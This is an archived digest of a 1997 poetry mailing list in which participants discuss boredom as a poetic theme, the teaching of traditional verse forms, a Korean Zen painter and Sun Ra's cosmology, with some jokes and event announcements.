>Subject: Re: boredom, poetry, questions
>Date: Monday, March 24, 1997 10:48AM
>
>
>i thinkk boredom is like depression, a cover up for something else, like
>anger or loneliness. nothing is inherently boring, so the gaze should go
>inward to find out why. so if a poem is boring to you it can still teach
>you stuff, if only more about your own desires. i like this thread of
>theorizing boredom, it seems far more fruitful than the old form/content
>treadmill.--md

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623. Peter Jaeger
Re: boredom, poetry, questions
Mon 24 Mar 1997

On Sun, 23 Mar 1997, Alan Jen Sondheim wrote:

> *When I was teaching in artschools, watching painting teachers at work, critiques usually ran along the lines of "this isn't working here" (perhaps pointing to a particular section of the canvas) - instead of "this doesn't work for me" (never mind the need to deconstruct "work"). Audience is replaced by universal, taste becomes transcendent, reified into theoretical position.*

Alan,

When I was painting in artschools, I often had a hard time figuring out what my teachers meant by "this works" and "this doesn't work" too.

I realize my questions last night were de-historicized, and not at all rigourously framed. To be more specific, but not entirely specific, I'm thinking of the contemporary *use* value of easy to access excitement/entertainment, as opposed to waste, boredom, expenditure, general economy etc.

Imagine a virtual sub-culture who invert the excitement / boredom binary, and who organize their enjoyment on wasting time (anti-time=money). Their existence as a sub-culture is based on their enjoyment of boredom. At the same time, they see this boredom as a critique of the commodification of excitement--after all, they are revolutionaries, and poets too. The question is whether their criticism actually reaches and impacts on the world of entertainment, or whether it merely serves as a focus for maintaining their own social coherency as a sub-group. To my mind, the potential of their critique outweighs the limitations (the foreclosure) of reducing their boredom to a mere site for structuring enjoyment.

Is it better to bore large than excite small?

Peter

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624. KENT JOHNSON
Jung Kwang
Mon 24 Mar 1997

In a posting the other day I mentioned an astounding contemporary Korean zen monk and artist who paints and composes poems by tying a calligraphy brush to his penis. There is published work on him, though the only thing I've seen is a beautiful catalog from an exhibit some years ago, but I can't remember what

museum. I remember the essay there as referring to him as the "Jackson Pollock of Zen," though many of his works are "representational," somewhat in the manner of sumi-e. In any case, for those who might be interested in pursuing information on this incredible person, his name is Jung Kwang. I can also provide address to those interested of his good friend, Samu Sunim who makes his "home" between Ann Arbor, Chicago, and Toronto. Sunim also has a number of his works. Just backchannel if so.

Kent

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625. **Alan Jen Sondheim**

Re: boredom, poetry, questions

Mon 24 Mar 1997

On Mon, 24 Mar 1997, Peter Jaeger wrote:

> *Imagine a virtual sub-culture who invert the excitement / boredom binary, and who organize their enjoyment on wasting time (anti-time=money). Their existence as a sub-culture is based on their enjoyment of boredom. At the same time, they see this boredom as a critique of the commodification of excitement--after all, they are revolutionaries, and poets too. The question is whether their criticism actually reaches and impacts on the world of entertainment, or whether it merely serves as a focus for maintaining their own social coherency as a sub-group. To my mind, the potential of their critique outweighs the limitations (the foreclosure) of reducing their boredom to a mere site for structuring enjoyment.*

This sounds very much like Situationism - you might look into the work of Guy Debord and the others - and their thinking did impact (for example, detournement, flaneurship, etc. that was a kind of drifting related to, but not equilvalent to, boredom) in a lot of areas, particularly around May '68 - but they were also critically tuned into the culture at that point.

There is also a lassitude in a lot of Bataille...

As far as impact, I doubt it would have any whatsoever today; there is a combination of boredom and skittering in Websurfing (something related to a concept I developed, "defuge," described in my texts) that would simply short-circuit or bypass the site. There was also enormous attention devoted to the aesthetics of boredom vis-a-vis Warhol; it was, as I remember, Laurie Anderson who first, for example, promoted the idea of entertainment to combat a kind of boring structuralism that had taken over a lot of performance art at one point. (I'm too tired, sorry, for citations here.)

>

> Is it better to bore large than excite small?
>
> Peter
>
Ask Madonna in both categories...

Alan

_____ URL: http://jefferson.village.virginia..edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ +++++++++++++++++ IMAGES: http://www.cs.unca.edu/~davidson/pix/ TELEPHONE [redacted] CUSEEME: 166.84.250.149 ++++++ Editor, BEING ON LINE, Lusitania, 1997

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626. **Hugh Steinberg**

Re: dichotomous/Bk of Forms

Mon 24 Mar 1997

It strikes me that among the ways we talk about form two stand out: one as product (this is a sonnet, that's a rondel); another as process (I am writing a sonnet, I am working on a rondel).

Having studied as an undergraduate with genuine unreconstructed new formalists, I remember being ordered to write in iambic pentameter, and the profs would pick my poem apart either at the points where the scansion broke down, or I had used an easy fix to work my way out. I kept Miller Williams, John Hollander and Dacey and Jauss's anthology _Strong Measures_ on my desk beside the dictionary. I learned a lot, but I often felt like a six year old forced to take piano lessons because it would make me more cultured.

But with a few years behind this experience, I think I understand why they acted the way they did.

I think it's a lot easier to talk about poems, especially in the workshop environment, by only engaging with the formal/technical aspects of the work at hand. This is often why so many workshop poems look and sound alike. An ideal form is assumed, which is then used as a yardstick to which the poems on the worksheet are compared. Issues of content, what the poem is about, are seldom broached because workshops are social as well as pedagogical beasts, and one of the rules seems to be that because authors have the right to write about anything they please, no person's content should be privileged over another's. This makes sure everyone plays nice. It also guarantees a certain sloppiness in the ideas of the poem, in much the same way as a person's ideas become sloppy when no one disagrees with them.

I think my profs were operating under the assumption that if you imposed a formal strictness or rectitude upon the poem, the content would also have to straighten up.

I don't agree with this. It's just as easy to write a bad poem that scans as one that doesn't.

One of the reasons why traditional forms (I would also throw traditional free verse such as the so-called Iowa poem into this category) are often treated with a certain degree of animosity is because they occupy a priviliged position. They're like the aristocracy of poetry, they have long pedigrees and insist on a certain amount of deferrence (which is assumed but seldom earned).

Yet despite this critical/historical baggage, I think these forms and the language used to analyze the formal aspects of a poem are useful for the act of reading and writing poems. Not good. Not bad. Just useful.

Much like finally learning how to play the piano.

Hugh Steinberg

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627. **David R. Israel**

Re: boredom, poetry, questions

Mon 24 Mar 1997

Peter Jaeger elaborates:

> *Imagine a virtual sub-culture who invert the excitement / boredom binary, and who organize their enjoyment on wasting time (anti-time=money). Their existence as a sub-culture is based on their enjoyment of boredom. At the same time, they see this boredom as a critique of the commodification of excitement . . . (etc.)*

I think what you're fishing for, Peter, is sort of interesting -- but have a feeling there's a problem with use of the word "boredom."

There are surely many levels & types of enjoyment, involvement, attention, engagement, interest, awareness, consciousness, etc., which are dissimilar to & far from industrial-strength "excitement" (especially as mass-culturally purveyed & cultivated -- or as you say, "commodified").

A problem with your notion & proposition abt. "boredom" as a culturally fruitful principle involves the fact that boredom seems (in most common senses of the term) to suggest a mere falling off of attention & interest. Perhaps there could be nuances of meaning & feeling huddled under that clunky catch-all moniker "boredom" -- but to proceed in general terms here, I find it hard to see boredom

per se as the basis of anything very vital or interesting -- or I dare say, all that worthwhile.

Boredom, however, is in the brain of the beholder. You speak of "the enjoyment of boredom." I say: if it's enjoyment, is it really boredom?

Many of us have -- at various times, in various ways -- experienced the paradoxical response you described: being most interested in poetry that seemingly articulates an experience of boredom. I can't say I've had that exact experience -- but memories of (e.g.) concerts from the likes of the estimable John Cage do come to mind -- in which one must sometimes work (or be willing to work, if need be) to be fully attentive to what's happening. The challenge is to find the interesting side(s) of what might at first blush seem uninteresting. The payoff is in the finding of such. If it were *strictly* boring -- if it always failed to engage -- it would be something very different from what (in my view, & that of many) it is.

If one succeeds & manages to be attentive -- & further discovers something worth attending to -- presto! one is involved in a process transcending boredom. Boredom might be one phase or aspect or (initial) *gambit* of the overall process, but the whole hardly fits under the B rubric.If one attends to the work -- ipso facto, one is not properly bored.

Boredom is (isn't it?) the waning of attention & interest. Out of knee-jerk antipathy for boredom, the pop-culturites try (as we all know) to turn up the volume & knock the socks off, playing the excitement game for fun & profit. There's a fear of boredom behind this (partly); but the fear is somewhat purile. Serious (or for that matter playful) interest in (so to say) *the secrets of the mundane* can short-circuit the boredom phobia, -- and much of 20th century art has (arguably) sprung from practitioners who've walked that path.

There are a few thoughts on this -- I think it's a complex topic; the above is (at best) an imprecise precis.

d.i.

p.s.: boredom is one thing, but bland (say) is another.

Ni Tsan -- painter & poet of Yuan-dynasty China -- was, like many of his insoucient chums, fond of the term "bland" (tan, I think, is the Chinese). It became, in fact, a term of high critical praise.

Another comparative reference that comes to mind is the remarkable opening text in Chogyam Trungpa's little introductory volume about meditation entitled *The Path is the Goal* (Shambhala Books). He characterizes meditation as "wasting time" -- a very worthwhile wasting of time, in his view. This likely has something to do with

what you're endeavoring to get at here.

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 .
 .....
 .............
 \\\\
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629. **Stephen Cope**
Re: boredom, poetry, questions
Mon 24 Mar 1997

George Oppen saw boredom (or "the knowledge of boredom"), following Heidegger, as a means to knowledge - an instrument of clarity (see the first poem, in his first book). His sense, tho, is obviously not of the kind of boredom referred to here. The Heidegger passage makes this clear:

Real boredom is still far off when this book or that play, this activity or that stretch of idelness merely bores us. Real boredom comes when "one is bored." This profound boredom, drifting hither and thither in the abysses of existence like a mute fog, draws all things, all men and oneself along with them, together in a queer kind of indifference. This boredom reveals what-is in totality.

In Oppen, it is quite literally "what-is:" "the world, weather-swept, with which/ one shares the century," that boredom reveals. It becomes a common theme Oppen, especially in _Of Being Numerous_...

Stephen Cope

> *Can boring poems operate as critique, until a critique of boredom is formulated?*
>
> *Why do I get bored by poems? But at the same time, why am I most interested in poems that s(t)imulate boredom, making me blank & drain?*
>
> *If boredom were a commodity, would it be desirable?*
>
> *And what if a poem is so boring it invites readers to question why they're bored?*
>
> *Peter Jaeger*

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630. **Michael Boughn**
Re: boredom, poetry, questions
Mon 24 Mar 1997

"Boredom is part of the Logos too."

--Jack Spicer

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631. **henry gould**
Re: dichotomous/Bk of Forms
Mon 24 Mar 1997

On Mon, 24 Mar 1997 00:38:27 -0600 Hugh Steinberg said:
>
>I think it's a lot easier to talk about poems, especially in the workshop
>environment, by only engaging with the formal/technical aspects of the work
>at hand. This is often why so many workshop poems look and sound alike. An
>ideal form is assumed, which is then used as a yardstick to which the poems

I agree with Hugh here completely, except I would go so far as to argue that
meter & rhyme & form (sonnet, etc.) are not even the formal aspects. In
my own writing work, it seems to me that unless these are treated as almost
trivial scaffolding - there to be bent and twisted & fooled around with
in whatever way you please - you'll never get out of the straitjecket.
These formalist workshop teachers (sounds like a nightmare) have got it
backwards. 30 years practice, let's say, at my own speeds & lineations etc.
make these forms malleable. Piano playing - scales - free verse or metered,
it comes to the same thing. & if it don't swing to begin with...
>
>I don't agree with this. It's just as easy to write a bad poem that scans
>as one that doesn't.

Easier, according to Auden. No doubt about it, according to me. 99% are bad
for you. Better to go down the street & have a donut dunked in whiskey.
>
>Yet despite this critical/historical baggage, I think these forms and the
>language used to analyze the formal aspects of a poem are useful for the
>act of reading and writing poems. Not good. Not bad. Just useful.

Again I go back to the point Mark Wallace raised about U.S. experimentalists
who set their own formal parameters & see what develops. I see no difference
between this and what the forms do. A lot of the forms actually WORK (at least
in my dumb lowbrow workshop). I did a "glose" last night (no, it's not a drug -
it's a Portuguese form). You start with a 4-line rhymed "text" - then each line is
the refrain, in order, of a ten-line stanza, rhymed or whatever any way you like.
It works - it underlines the text, sets up an echo-chamber. - Henry G.

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632. **DEAN F. TACIUCH**

Re: dichotomous/Bk of Forms

Mon 24 Mar 1997

On Mon, 24 Mar 1997, Hugh Steinberg wrote:

[cut]

> *I think it's a lot easier to talk about poems, especially in the workshop environment, by only engaging with the formal/technical aspects of the work at hand. This is often why so many workshop poems look and sound alike. An ideal form is assumed, which is then used as a yardstick to which the poems on the worksheet are compared. Issues of content, what the poem is about, are seldom broached because workshops are social as well as pedagogical beasts, and one of the rules seems to be that because authors have the right to write about anything they please, no person's content should be privileged over another's. This makes sure everyone plays nice. It also guarantees a certain sloppiness in the ideas of the poem, in much the same way as a person's ideas become sloppy when no one disagrees with them.*
>
> *I think my profs were operating under the assumption that if you imposed a formal strictness or rectitude upon the poem, the content would also have to straighten up.*
>
> *I don't agree with this. It's just as easy to write a bad poem that scans as one that doesn't.*

True, but as one who teaches Undergraduate Creative Writing courses, and who doesn't spend much time on sonnets and the like, I find that it is not only easier but more useful to talk about matters of form than to discuss "content"--the latter discussion often breaks down into "What did you mean here?" (which then turns into the even less productive "What _I_ was trying to say here. . .")

True, this retreat to easy questions and answers can happen with formal discussions, too, it's not nearly as often. By form, since I'm not a "formalist," I take to be the actual use of the words--I concentrate on sound patterns (though I discourage end rhyme since its just too easy to write simplistically in that mode) and heavily on lineation. I ask them to justify each line break (a task I wonder if I myself could perform convincingly). So the questions from the class are more along the lines of "why did you do this _here_?" rather than "why'd you say that?" At least that's what I hope for. Often, just to get a discussion of form going in a beginning writing class is a victory.

Presenting form as ubiquitous (that everything they write is formed) is, I hope, a means to begin questioning constructions of all kinds.

Dean

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633. **Catherine Elizabeth Paul**
Re: dichotomous/Bk of Forms
Mon 24 Mar 1997

I, too, had undergrad creative writing profs who emphasized form at the expense of content, but their reason, and as I get older I agree (read: become more stodgey?), was that the purpose of such a class was to teach tools so that when we finally had something to say, those tools would be at our disposal--very much like piano lessons, indeed.

Catherine Paul
University of Michigan
[redacted]

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634. **Jordan Davis**
Re: boredom, poetry, questions
Mon 24 Mar 1997

In regard to boredom: didn't Freud say something about boredom being a form of anxiety? Didn't John Cage say, if something is boring, keep going for half an hour; if it's still boring, keep going for an hour?

The first few years I went to poetry readings I logged a lot of boredom. This had a lot to do with not knowing how to hear the work, sure, but it may have had to do with the work being read being not totally great. At any rate, ten years later I am seldom _bored_ at readings within the social circle of poetry downtown New York. Uptown, well, I don't know the people.

When my students report that they're bored, I decode this as meaning that I haven't made the project at hand available to them.

When I notice my mind wandering when I'm reading, I go as far as I can in that other direction, then I come back.

Jordan Davis

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635. **Mark Prejsnar**
Re: dichotomous/Bk of Forms
Mon 24 Mar 1997

The famous myth (I mean I'm pretty sure it is factually true, but a bit of mythologizing too), wherein Pound wrote that he had written a sonnet a day for a year,

then burnt them all, was very impressive to me in my teens (long ago). The idea of formal frames (form in the prosodic sense) is still to be really clarified for us at this historical moment...Just what is the relation between the two impulses...The one represented by working (partly "to learn") with older forms, as mentioned by Henry and Katherine; and the other impulse represented by more innovative "formal exercises" --the B.Mayer list of St. Marks ideas, the spinoff used by CB in teaching, which is on the Web...?? Are we thinking about "form" very differently in the two different instances? or is the one just an "updated" version of trying sonnets and terza rima? (I personally do get a lot out of playing with such form ideas; I have one rather long poem which I attempted to make consist of nothing but verbs; which I rather like; most such things get tossed tho'.....And as for my own provisional sense of the answer to my question: I think the two impulses are related, but crucially different, not just versions of the same thing..But haven't yet thought it thru....)

Henry's roundel was wonderful...

Mark P.

> *be. But I'm curious. Has anyone else on this list worked through this or other books, or other ideas on form, as a way to something else?*
>
> *Kathrine Varnes*

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636. **Miekal And**
Re: Jung Kwang
Mon 24 Mar 1997

Mark Weiss wrote:
>
> My god (goddess)! What do women paint with?
>
> Which raises a couple more questions abt Master Kwang:
>
> Does he do nudes?
>
> Is his stroke different erect or flaccid?

Now, this is why I joined the poetic list. Forget form & content & boredom.

Sounds very Gutai to me.

Miekal

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637. **Pritchett,Pat**
Re: boredom, poetry, questions
Mon 24 Mar 1997

That is a wonderful quote! I like Stephen Cope's post on Oppen/Heidegger, too, and wld just add that bordeom is a writer's best friend. To be stripped of the usual objects or purposes of desire is to be compelled to create new ones. So I wld disagree with the good David Israel's remark that boredom and desire are opposites. I see them working very much in tandem. Bordeom fuels desire. But does desire lead to boredom? I wld guess it does.

Patrick Pritchett

From: Michael Boughn
To: POETICS
Subject: Re: boredom, poetry, questions
Date: Monday, March 24, 1997 6:33AM

"Boredom is part of the Logos too."

--Jack Spicer

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638. **Maria Damon**
Re: dichotomous/Bk of Forms
Mon 24 Mar 1997

At 11:11 PM -0500 3/23/97, henry wrote:
>I'm using the old Turco, thin red, which is heavy on obscure Welsh forms.
>Just finished a Portuguese riff, the "glose". Like an enlarged carol.
>- HG

i was on a panel w/ turco a few yrs ago, i talked about jack spicer and camp as subaltern wit; he looked mortified (bright red apoplectic furious) to be on a panel where someone was talking about queers, later he said that women were taking jobs away from men in the academy these days (a bit like our recent discussion about "identity politics"?) ...that was my intro to the "new formalism." hank, i respect and enjoy your eclecticism in matters poetic, but turco? nein danke.

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639. **A. Morris**
Steve Abbott on Kaufman
Mon 24 Mar 1997

A plea for help with a reference. Steve Abbott called Bob Kaufman "the hidden master of the Beats" somewhere, maybe in a 1986 issue of Poetry Flash, though I'm not sure. If anyone knows the source, please backchannel me with a specific citation.

Thanks a lot--

Dee Morris

↑ Index

640. **Maria Damon**
Re: boredom, poetry, questions
Mon 24 Mar 1997

At 11:31 PM -0500 3/23/97, David R. Israel wrote:
>> >If boredom were a commodity, would it be desirable?
>> >
>> Boredom, like talk, is cheap.
>
>Boredom & desire are opposites.
>Or rather: there's desire & antipathy (w/ boredom at the fulcrum)?
>
i thinkk boredom is like depression, a cover up for something else, like anger or loneliness. nothing is inherently boring, so the gaze should go inward to find out why. so if a poem is boring to you it can still teach you stuff, if only more about your own desires. i like this thread of theorizing boredom, it seems far more fruitful than the old form/content treadmill.--md

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641. **henry**
Re: dichotomous/Bk of Forms
Mon 24 Mar 1997

---

my first reaction to Mark's interesting post is probably an obvious one (I'm famous for being obvious). The main difference between "working through the old forms" and doing more experimental work is that the two paths are usually aimed-at and responded-to by different audiences. There is a contemporary art world, with which experimental poetry has a (more or less) close relationship. Experiment, to some degree, MEANS autonomy or liberation from these

traditional forms, studied (are they still?) in academia, read by old fogies, trudged through in formalist "writing workshops", published in strange anthologies, etc. etc. And the whole thing has been "politicized" forever & ever by Pound & Williams, especially, along with Eliot, etc. Wallace Stevens was different - he basically said in various ways & times that the whole form question is a bore. (Agreed, Wally.)

But the question for the maker is, do I need to be bound by these dialectics? When I get down into the subatomic level of form & creation, do they even exist? I see a fabric, a verbal fabric. Someone at a meeting the other day read Hart Crane's "Chaplinesque" out loud, & very well. She displayed just at what depth of performance & innuendo this amazing poet (who played across all kinds of trad/experimental lines) was working. Ed Honig was there - he said he was around when Chaplin was flourishing - & that Crane was verbally mimicking Chaplin's mannerisms in a number of ways. Yet this is only one level on which that poem works. Now that's an example of technique which blows your meter/rhyme/form-as-technique claptrap (workshop-lingo) out of the water.

- Henry G.

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642. **henry**
Re: boredom, poetry, questions
Mon 24 Mar 1997

"Love in an animal sense is an illness, but a necessity which one has to overcome. Politics is an odd game, not without danger I have been told, but certainly sometimes amusing. To eat and drink are habits not to be despised but often connected with unfortunate consequences. To sail around the earth in 91 hours must be very strenuous, like racing in cars or splitting the atoms. But the most exhausting thing of all--is boredom. "So let me take part in your boredom and in your dreams while you take part in mine which may be yours as well."

- Max Beckmann

(who fell dead one day on the streets of Chicago)

↑ Index

643. **Pritchett,Pat**
Re: boredom, poetry, questions
Mon 24 Mar 1997

Maria, I think you're right that boredom often does mask some emotional state that's gone willfully unrecognized. But there's another sense in which I think

writers deliberately attempt to cultivate bordeom as a means with which to "break out/into" a fresh line on things. Perhaps cultivate is the wrong word. But when boredom comes, it ought not to be eschewed as it can lead to a new avenue. Which links to Jordan's remarks about anxiety and Cage.

Patrick Pritchett

From: Maria Damon
To: POETICS
Subject: Re: boredom, poetry, questions
Date: Monday, March 24, 1997 10:48AM

i thinkk boredom is like depression, a cover up for something else, like anger or loneliness. nothing is inherently boring, so the gaze should go inward to find out why. so if a poem is boring to you it can still teach you stuff, if only more about your own desires. i like this thread of theorizing boredom, it seems far more fruitful than the old form/content treadmill.--md

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644. Ira Lightman
Re: Astrology poetics/music
Mon 24 Mar 1997

Stockhausen has said that he has had visions that tell
him he has been reincarnated from Sirius (see his piece
Sirius, drawing on musical themes based on Capricorn, Aries,
Cancer and Libra), and that he is sometimes "channels"
music from Sirius.

Ira

On Sun, 23 Mar 1997 23:58:46 -0800 Stephen Cope wrote:

> From: Stephen Cope <[redacted]>
> Date: Sun, 23 Mar 1997 23:58:46 -0800
> Subject: Re: Astrology poetics/music
> To: [redacted]
>
> >though sun ra was heavily space and planet oriented, it
was not so much
> >from an interest in astrology (as i understand it) as
from a feeling that
> >he and other Black people were not welcome on Earth, and
would in fact
> >prefer to live elsewhere (saturn in particular) given the

current state of
> >the earth. about a year ago we had a discussion on this
list about how gay
> >writers etc often used tropes of otherworldliness
(angels, outerspace etc)
> >not so much out of a graviation twoard systems of
esoterica as an
> >articulation of otherness and a sense that "somewhere a
place for us...".
> >etc.,
>
>
> Yes, very much so (Ra, of course, was both black and gay).
I would want to
> add, however, that Sun Ra's reputedly vast knowledge of
astrology (along
> with many other 'esotoric' systems) was based in a belief,
however ironic,
> that such a 'somehwere' did in fact exist, and was related
to the stars,
> planets, etc. (as with Coltrane, or certainly Braxton). I
think of Duncan's
> 'Atlantis' here - a place which ultimately becomes very
'real' in the
> poetry ("a made place" etc.) as much as it stands as a
figure for loss. Or
> - specifically in relation to music - the sense I get in
Nate Mackey's work
> of New World African religious and cosmological practice
being carried out
> _not only_ as critique of the current state of affairs,
but as continuation
> of (or participation in) models of thought the 'otherness'
of which has
> caused them to suffer a marginalization at the hands of
imperializing
> discourse which itself warrants redress. I think, that is
to say, that Ra's
> thought does call attention to the latter as well as the
former...
>

>
> Stephen Cope

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645. **Kathrine Varnes**
Re: dichotomous/Bk of Forms
Mon 24 Mar 1997

On Mon, 24 Mar 1997, Maria Damon wrote:
> i was on a panel w/ turco a few yrs ago, i talked about jack spicer and
> camp as subaltern wit; he looked mortified (bright red apoplectic furious)
> to be on a panel where someone was talking about queers, later he said that
> women were taking jobs away from men in the academy these days (a bit like
> our recent discussion about "identity politics"?) ...that was my intro to
> the "new formalism." hank, i respect and enjoy your eclecticism in matters
> poetic, but turco? nein danke.

Technically, Turco is not "new" but old formalist. That red book was published in 67, I think, and he just last year retired from SUNY. The women taking jobs away from men thing is infuriating, but this baloney is ubiquitous (which is not to say that i don't fight it). But I've heard marxists and medievalists and, yes, postmodernists say the same thing and then hire five white men in succession in a predominantly male department. ain't no movement owns that lame position. I've written about the troubled politics in new formalism, so please don't mistake _my_ position, but I'm not sure this characterization of Turco is fair. Did he _say_ he had this problem with queers? Or did he have a problem with your argument about queers? There is a difference.

Kathrine Varnes

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646. **Steven Marks**
Re: boredom, poetry, questions
Mon 24 Mar 1997

On Mon, 24 Mar 1997, Maria Damon wrote:

> *i thinkk boredom is like depression, a cover up for something else, like anger or loneliness. nothing is inherently boring, so the gaze should go inward to find out why. so if a poem is boring to you it can still teach you stuff, if only more about your own desires. i like this thread of theorizing boredom, it seems far more fruitful than the old form/content treadmill.--md*

yes, yes, yes. I had an editor at a newspaper some time ago who overheard a fellow reporter whining about a boring story. "There are no boring stories, only boring writers." And to prove his point, he went on a drive through the town which the reporter covered and came up with about a dozen fascinating stories. He hated reporters who never left the office and rounded up the usual "sup-sects" on the telephone to use for quotes in a story. Talk about writing to an already conceived form!

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

647. **Joseph Lease**

Re: boredom, poetry, questions

Mon 24 Mar 1997

boredom can be a form of anger: there's an intuitive connection between Warhol works such as sleep and Robert Wilson trace works and a readymade or Hemmings Ball jamming at the Cabaret Voltaire: boredom can be anger

On Mon, 24 Mar 1997, Jordan Davis wrote:

> *In regard to boredom: didn't Freud say something about boredom being a form of anxiety? Didn't John Cage say, if something is boring, keep going for half an hour; if it's still boring, keep going for an hour?*
>
> *The first few years I went to poetry readings I logged a lot of boredom. This had a lot to do with not knowing how to hear the work, sure, but it may have had to do with the work being read being not totally great. At any rate, ten years later I am seldom _bored_ at readings within the social circle of poetry downtown New York. Uptown, well, I don't know the people.*
>
> *When my students report that they're bored, I decode this as meaning that I haven't made the project at hand available to them.*
>
> *When I notice my mind wandering when I'm reading, I go as far as I can in that other direction, then I come back.*
>
> *Jordan Davis*

↑ Index

648. **Joseph Lease**
Re: boredom, poetry, questions
Mon 24 Mar 1997

On Mon, 24 Mar 1997, Maria Damon wrote:

> *At 11:31 PM -0500 3/23/97, David R. Israel wrote:*
> *If boredom were a commodity, would it be desirable?*
>
> *Boredom, like talk, is cheap.*
>
> *Boredom & desire are opposites.*
> *Or rather: there's desire & antipathy (w/ boredom at the fulcrum)?*
>
> *i thinkk boredom is like depression, a cover up for something else, like*
> *anger or loneliness.*

agree!: absolutely and it's a key point: there should be a post on the way about boredom and Warhol and Dada

nothing is inherently boring, so the gaze should go
> inward to find out why. so if a poem is boring to you it can still teach
> you stuff, if only more about your own desires.

often people defend against scary ideas by saying oh that old thing that's boring we've heard that before (that's we construction in relation to boredom): Warhol did it to Neruda: may tried to do it to Ashbery:

but surely we can learn from the old farts: I mean imagine a poem that actually combines what's long and weird and heterogeneous in say (name a language poet) with the versions of long and weird and heterogeneous in (name a narrative poet from the twenties or thirties): that wouldn't bore me

i like this thread of
> theorizing boredom, it seems far more fruitful than the old form/content
> treadmill.--md
>

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649. **henry**
Re: dichotomous/Bk of Forms
Mon 24 Mar 1997

On Mon, 24 Mar 1997 09:56:14 -0600 Maria Damon said:
>the "new formalism." hank, i respect and enjoy your eclecticism in matters
>poetic, but turco? nein danke.

I don't know much about the politics of phone book publishers (maybe I should) but I just go ahead and use it. And this is the 2nd time I've been noted for "eclecticism" on this list. I will not be smeared with that popcorn butter! Wilbur Delaze Potato, my lawyer, is documenting these accusations.

As i sayed to Joe Amato, I have my own narrow motivations, & these machine-gun blabs of mine have probably distorted, once again, the "big picture". The EPOCH-MAKING BREAKTHROUGH of 20th cent HAS been the breakdown of trad formalisms in poetry. It has ushered in an explosion of just plain "writing" and "performance" which is powerful/authentic/original art in ways far beyond the 19th cent or previous could imagine. This goes back to as M.Perloff mentioned, Duchamp & his frames. You put a frame around it - even an invisible, surreal/ironic frame - and it says something new. The question is whether by now these frames haven't gotten awful heavy, clunky, expensive, and recherche. (i.e. boring????) But the question for anybody working in "forms" - trad. poetry forms - is whether they really CAN be authentic/original/new & interesting to any degree comparable with the experiments. I don't know the answer to this - may be one reason I'm doing them (at the moment).

I am not a formalist and I am not eclectic. If you look on the underside of the paper on which each and every one of my poems is written, down on the lower left corner, you'll see a small fingerprint in green ink. That is MY PERSONAL TRADEMARK which runs like a motif through ALL my work. I AM NOT GOING TO TELL YOU which finger it represents. Eclectic, pish. - Hankovitch (I am not a crook, neither)

↑ Index

650. **Joseph Lease**

Re: dichotomous/Bk of Forms

Mon 24 Mar 1997

---

right: you can't tar Adrienne Rich or Elizabeth Bishop with Turco

On Mon, 24 Mar 1997, Kathrine Varnes wrote:

> *On Mon, 24 Mar 1997, Maria Damon wrote:*
> *i was on a panel w/ turco a few yrs ago, i talked about jack spicer and camp as subaltern wit; he looked mortified (bright red apoplectic furious) to be on a panel where someone was talking about queers, later he said that women were taking jobs away from men in the academy these days (a bit like our recent discussion about "identity politics"?) ...that was my intro to the "new formalism." hank, i respect and enjoy your eclecticism in matters poetic, but turco? nein danke.*
>
> *Technically, Turco is not "new" but old formalist. That red book was published in 67, I think, and he just last year retired from SUNY.*

> *The women taking jobs away from men thing is infuriating, but this baloney is ubiquitous (which is not to say that i don't fight it). But I've heard marxists and medievalists and, yes, postmodernists say the same thing and then hire five white men in succession in a predominantly male department. ain't no movement owns that lame position. I've written about the troubled politics in new formalism, so please don't mistake _my_ position, but I'm not sure this characterization of Turco is fair. Did he _say_ he had this problem with queers? Or did he have a problem with your argument about queers? There is a difference.*
>
> *Kathrine Varnes*

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651. **dbkk**
Dodie Bellamy takes L.A.
Mon 24 Mar 1997

Hi, this is Dodie. FYI all you Southern California folks: I'll be reading this Friday night at Beyond Baroque with visual artist Raymond Pettibon. I hear Raymond is going to show slides. Saturday, Raymond and I will be teaching a workshop, "Dialoging with Images and Text."

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652. **henry**
Re: dichotomous/Bk of Forms
Mon 24 Mar 1997

On Mon, 24 Mar 1997 13:02:20 -0500 Joseph Lease said:
>right: you can't tar Adrienne Rich or Elizabeth Bishop with Turco

this is being forwarded from another list:
** * * * * * * * * * * *
* * * * * ** * * * * * *

POLICE BREAK UP ACADEMIC O.F. RING

South Liverwurst, NY (ap). After a tip-off from Prof. Dendra Smothaird and campus police, Liverwurst authorities were able to penetrate and arrest 5 members of an Old Formalist ring they said had been "active" for years in the upstate NY area. "We don't know why they chose Buffalo," said Luongo Frim, chief detective. "It looks like a very professional operation. These guys - if you can believe it - were operating under a front, a punk rock band called Angry Young Dandruff - most of them are in their sixties, seventies! Writing sonnets & stuff. I don't know - upstate NY used to be a nice, clean, progressive experimental area..." Lois Mechanique, owner of Lois's Lo-Fat Diner, said - "And I used to

serve them coffee. I shoulda known - these were eggs-over-hard guys. Every morning - and they'd be mumblin over their coffee - like, rhymes and stuff." The five men, who's names have been withheld (they have tenure), are being held without bail in the Louisville Lock-Up, for some reason. 3.24.97

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653. **Mark Weiss**
Re: Jung Kwang
Mon 24 Mar 1997

This technique should be a real advantage in doing watercolors.

Do you think there are gender connotations here?

At 11:26 AM 3/24/97 +0600, you wrote:
>In a posting the other day I mentioned an astounding contemporary
>Korean zen monk and artist who paints and composes poems by tying a
>calligraphy brush to his penis. There is published work on him,
>though the only thing I've seen is a beautiful catalog from an
>exhibit some years ago, but I can't remember what museum. I remember
>the essay there as referring to him as the "Jackson Pollock of Zen,"
>though many of his works are "representational," somewhat in the
>manner of sumi-e. In any case, for those who might be interested in
>pursuing information on this incredible person, his name is Jung
>Kwang. I can also provide address to those interested of his good
>friend, Samu Sunim who makes his "home" between Ann Arbor, Chicago,
>and Toronto. Sunim also has a number of his works. Just backchannel
>if so.
>
>Kent
>
>

↑ Index

654. **Gwyn McVay**
Re: Jung Kwang
Mon 24 Mar 1997

Mark, do you mean to tell me that *all* male artists don't paint this way?

Gwyn ;)

↑ Index

655. **Joseph Lease**
Re: dichotomous/Bk of Forms
Mon 24 Mar 1997

I just want to apologize for an aspect of one of my posts earlier today: I hadn't really read all of the post about Turco when I hit the reply and include buttons:

all I really wanted to say was: it doesn't make sense to use Turco against Rich or Bishop

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656. **simon**
Re: Jung Kwang
Mon 24 Mar 1997

The prosthetic aesthetic.

beth simon

↑ Index

657. **Daniel Zimmerman**
Re: Form/Content again
Mon 24 Mar 1997

Hi. I posted the following to the listserv a few days ago, but didn't use the reply function [my first time posting], so I believe it may not have gone out to everyone. Here goes again:

